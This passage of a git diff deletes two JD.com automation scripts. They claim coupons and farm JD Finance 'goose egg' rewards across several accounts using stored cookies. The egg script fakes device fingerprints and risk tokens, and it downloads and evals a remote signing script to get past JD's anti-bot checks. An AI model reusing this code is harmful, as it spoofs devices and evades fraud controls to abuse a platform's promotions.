s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_coupon.js b/activity/jd_coupon.js deleted file mode 100644 index d6790fa..0000000 --- a/activity/jd_coupon.js +++ /dev/null @@ -1,264 +0,0 @@ -/* -源头好物红包 -活动时间:未知 -更新地址:jd_coupon.js -活动入口:https://h5.m.jd.com/babelDiy/Zeus/3hhgqjj5rLjZFbi8UtaD2uex21ky/index.html?babelChannel=ttt19 -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#源头好物红包 -0 0 * * * jd_coupon.js, tag=源头好物红包, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_coupon.jpg, enabled=true - -================Loon============== -[Script] -cron "0 0 * * *" script-path=jd_coupon.js, tag=源头好物红包 - -===============Surge================= -源头好物红包 = type=cron,cronexp="0 0 * * *",wake-system=1,timeout=3600,script-path=jd_coupon.js - -============小火箭========= -源头好物红包 = type=cron,script-path=jd_coupon.js, cronexpr="0 0 * * *", timeout=3600, enable=true - */ -const $ = new Env('源头好物红包'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.beans = 0 - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await festival() - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -async function festival() { - $.times = 0 - $.risk = false - await getInfo() -} - -function getInfo() { - let body = {"activityId":"3hhgqjj5rLjZFbi8UtaD2uex21ky","dynamicParam":[],"geo":{"lng":"0.000000","lat":"0.000000"},"babelChannel":"ttt19","mcChannel":0,"openId":""} - return new Promise(resolve => { - $.post(taskPostUrl('queryPanamaPage',body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.msg ==="success") { - for(let vo of data.floorList){ - if(vo.remarks.jimuid){ - console.log(vo.remarks.jimuid) - await receive(vo.remarks.jimuid) - } - } - } else { - console.log(`信息获取失败`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function receive(actId) { - let body = {"actId":actId} - return new Promise(resolve => { - $.post(taskPostUrl('noahHaveFunLottery',body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.msg ==="success") { - message += `红包领取成功,获得${data.lotteryResult.hongBaoList[0].hongbaoSendInfo.disCount}${data.lotteryResult.hongBaoList[0].prizeName}` - - console.log(`红包领取成功,获得${data.lotteryResult.hongBaoList[0].hongbaoSendInfo.disCount}${data.lotteryResult.hongBaoList[0].prizeName}`) - } else { - message += `红包领取失败,${data.msg}` - console.log(`红包领取失败,${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getTs() { - return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 -} - -function taskPostUrl(function_id, body = {}) { - const t = getTs() - return { - url: `${JD_API_HOST}/client.action`, - body: `functionId=${function_id}&appid=publicUseApi&body=${escape(JSON.stringify(body))}&_t=${t}&client=wh5&clientVersion=1.0.0`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://prodev.m.jd.com", - "Cookie": cookie, - 'dnt': '1', - 'pragma': 'no-cache', - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" - } - } -} - -function taskUrl(function_id, body = {}) { - const t = getTs() - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://prodev.m.jd.com", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_daily_egg.js b/activity/jd_daily_egg.js deleted file mode 100644 index 2f1d642..0000000 --- a/activity/jd_daily_egg.js +++ /dev/null @@ -1,519 +0,0 @@ -/* -活动入口:京东金融-天天提鹅 -定时收鹅蛋,兑换金币 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#天天提鹅 -10 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_daily_egg.js, tag=天天提鹅, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdte.png, enabled=true - -================Loon============== -[Script] -cron "10 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_daily_egg.js,tag=天天提鹅 - -===============Surge================= -天天提鹅 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_daily_egg.js - -============小火箭========= -天天提鹅 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_daily_egg.js, cronexpr="10 * * * *", timeout=3600, enable=true - */ -const $ = new Env('天天提鹅'); -let cookiesArr = [], cookie = ''; -const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const dailyEggUrl = "https://active.jd.com/forever/btgoose/?channelLv=yxjh&jrcontainer=h5&jrlogin=true" -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const { JSDOM } = $.isNode() ? require('jsdom') : ''; -const { window } = new JSDOM(``, { url: dailyEggUrl, runScripts: "outside-only", pretentToBeVisual: true, resources: "usable" }) -const Faker = require('./utils/JDSignValidator.js') -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - window.eval(await downloadUrl(`https://storage.360buyimg.com/rama/common/btgoose/aar.min.js`)) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.stopNext = false - await TotalBean(); - console.log(`\n***********开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - const fakerBody = Faker.getBody(dailyEggUrl) - $.fp = fakerBody.fp - $.eid = await getClientData(fakerBody) - $.token = (await downloadUrl("https://gia.jd.com/m.html")).match(/var\s*?jd_risk_token_id\s*?=\s*["`'](\S*?)["`'];?/)?.[1] || "" - await jdDailyEgg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdDailyEgg() { - await toDailyHome() - if ($.stopNext) return - if ($.isFirstLogin) { - await toDailySignIn() - } - await toWithdraw() - await doTask() - await toGoldExchange(); -} - -async function doTask(funcMissionId = null) { - let errMissionID = [3410] - errMissionID = [...errMissionID, ...errMissionID.map(x => x.toString())] - const taskWaitTime = 15 - let res - let taskList = (await doApi("queryGooseTaskList", false))?.data ?? [] - taskList = taskList.filter(x => [-1, 0, 1].includes(x.status) && !errMissionID.includes(x.missionId)) - if (funcMissionId) taskList = taskList.filter(x => x.missionId === funcMissionId) - for (let task of taskList) { - let { doLink, missionId, awards, name, position, status } = task - switch (status) { - case -1: - res = await doApi("receiveGooseTask", false, { missionId }) - console.log(`领任务'${name}'结果:${res.code === "0000" ? "成功!" : `失败!原因:${res.msg}`}`) - await $.wait(3000) - if (res.code === "0000") { - await doTask(missionId) - return - } - break - // 正在做 - case 0: - var tempBody = {} - Object.assign(tempBody, { missionId: doLink.getValByKey("missionId"), readTime: +(doLink.getValByKey("readTime") || "-1") }) - if (tempBody.missionId && typeof tempBody.readTime !== -1) { - res = await doApi("queryMissionReceiveAfterStatus", false, { missionId: tempBody.missionId }) - await $.wait(tempBody.readTime * 1e3) - res = await doApi("finishReadMission", false, tempBody) - if (res.code === "0000") { - await doTask(missionId) - } else { - console.log(`做任务'${name}'结果:失败!原因:${res.msg}`) - } - return - } else if (doLink.getValByKey("juid")) { - res = await doApi("getJumpInfo", false, { juid: doLink.getValByKey("juid") }) - if (res.code === "0000") { - await doTask(missionId) - } else { - console.log(`做任务'${name}'结果:失败!原因:${res.msg}`) - } - return - } - break - // 领奖状态 - case 1: - awards = awards[0] ?? awards - let { awardRealNum, awardName } = awards - let msg = [] - msg.push(funcMissionId ? `做任务'${name}'结果:成功!` : `任务'${name}'已可领奖。`) - msg.push("领奖励结果:") - res = await doApi("receiveGooseTaskReward", false, { missionId }) - msg.push(res.code === "0000" ? `成功!获得${awardRealNum}${awardName.replace(/^个?/, "个")}` : `失败!原因:${res.msg}`) - console.log(msg.join("")) - break - // 已完成 - case 2: - default: - } - } -} - -function toGoldExchange() { - return new Promise(async resolve => { - const body = getBody() - $.get(taskUrl('toGoldExchange', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data) - data = JSON.parse(data); - if (data.resultCode === 0) { - if (data.resultData.code === '0000') { - console.log(`兑换金币:${data.resultData.data.cnumber}`); - console.log(`当前总金币:${data.resultData.data.goldTotal}`); - } else if (data.resultData.code !== '0000') { - console.log(`兑换金币失败:${data.resultData.msg}`) - } - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function toWithdraw() { - return new Promise(async resolve => { - const body = getBody() - $.get(taskUrl('toWithdraw', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data) - data = JSON.parse(data); - if (data.resultCode === 0) { - if (data.resultData.code === '0000') { - console.log(`收取鹅蛋:${data.resultData.data.eggTotal}个成功`); - console.log(`当前总鹅蛋数量:${data.resultData.data.userLevelDto.userHaveEggNum}`); - } else if (data.resultData.code !== '0000') { - console.log(`收取鹅蛋失败:${data.resultData.msg}`) - } - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function toDailyHome() { - $.isFirstLogin = false - return new Promise(async resolve => { - const body = getBody(true) - $.get(taskUrl('toDailyHome', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data) - data = JSON.parse(data); - if (data.resultData.code !== "0000") { - $.stopNext = true - console.log($.name + `(${arguments.callee.name})` + ":" + data.resultData.msg) - return - } - let shareUuid = data?.resultData?.data?.shareUuid - if (!$.shareUuid && typeof shareUuid === 'string') Object.assign($, { shareUuid }) - let isFirstLogin = data?.resultData?.data?.isFristLogin - if (typeof isFirstLogin === 'string') { - $.isFirstLogin = (() => { try { return JSON.parse(isFirstLogin) } catch (e) { return false } })() - } else if (typeof isFirstLogin === 'boolean') { - Object.assign($, { isFirstLogin }) - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ots(t) { - if (typeof t === 'object') { - return JSON.stringify(t) - } - return t -} -async function doApi(functionId = "", withSign = false, preBody = {}, preUrl = "") { - let body = { ...preBody, ...getBody(withSign) } - switch (functionId) { - case "receiveGooseTask": - body = { - missionId: preBody.missionId.toString(), - shareUuid: $.inviteId ?? "", - riskDeviceInfo: $.riskDeviceInfo, - channelLv: "yxjh", - environment: "jrApp", - } - break - case 'receiveGooseTaskReward': - body = { - missionId: preBody.missionId.toString(), - riskDeviceInfo: $.riskDeviceInfo, - channelLv: "yxjh", - environment: "jrApp", - } - break - case 'queryMission': - case 'queryPlayActiveHelper': - case 'queryMissionReceiveAfterStatus': - case 'finishReadMission': - case 'getJumpInfo': - preUrl = `https://ms.jr.jd.com/gw/generic/mission/h5/m/${functionId}?reqData=` - preUrl += JSON.stringify(preBody).replace(/"/g, x => encodeURIComponent(x)) - break - default: - break - } - const option = taskUrl(functionId, body) - if (preUrl) { - Object.assign(option, { url: preUrl }) - } - return new Promise(resolve => { - $.get(option, (err, resp, data) => { - const res = {} - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data) - data = JSON.parse(data); - if (data.resultCode !== 0) { - console.log($.name + `(${functionId})` + ":" + data.resultMsg) - } else { - Object.assign(res, data?.resultData ?? {}) - } - } else { - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res); - } - }) - }) -} -function toDailySignIn() { - const body = getBody() - return new Promise(resolve => { - $.get(taskUrl('toDailySignIn', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data) - data = JSON.parse(data); - if (data.resultData.code !== "0000") { - $.stopNext = true - console.log($.name + `(${arguments.callee.name})` + ":" + data.resultData.msg) - return - } - console.log("每日首次登陆签到礼包:" + ots(data.resultData.data.signAward)) - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - $.isFirstLogin = false - resolve(); - } - }) - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getBody(withSign = true) { - const riskDeviceInfo = $.riskDeviceInfo = JSON.stringify({ - eid: $.eid, - fp: $.fp, - token: $.token - }) - const signData = { - channelLv: "yxjh", - environment: "jrApp", - riskDeviceInfo, - shareUuid: "uuid", - } - if ($.isFirstLogin) { - delete signData.riskDeviceInfo - } - if (!withSign) { - return { - ...signData, - timeSign: Math.random(), - } - } - $.aar = new window.AAR() - const nonce = $.aar.nonce() - const signature = $.aar.sign(JSON.stringify(signData), nonce) - return { - ...signData, - timeSign: Math.random(), - nonce, - signature, - } -} - -function taskUrl(function_id, body) { - return { - url: `${JD_API_HOST}/${function_id}?reqData=${JSON.stringify(body).replace(/"/g, x => encodeURIComponent(x))}`, - headers: { - 'Accept' : `application/json`, - 'Origin' : `https://active.jd.com`, 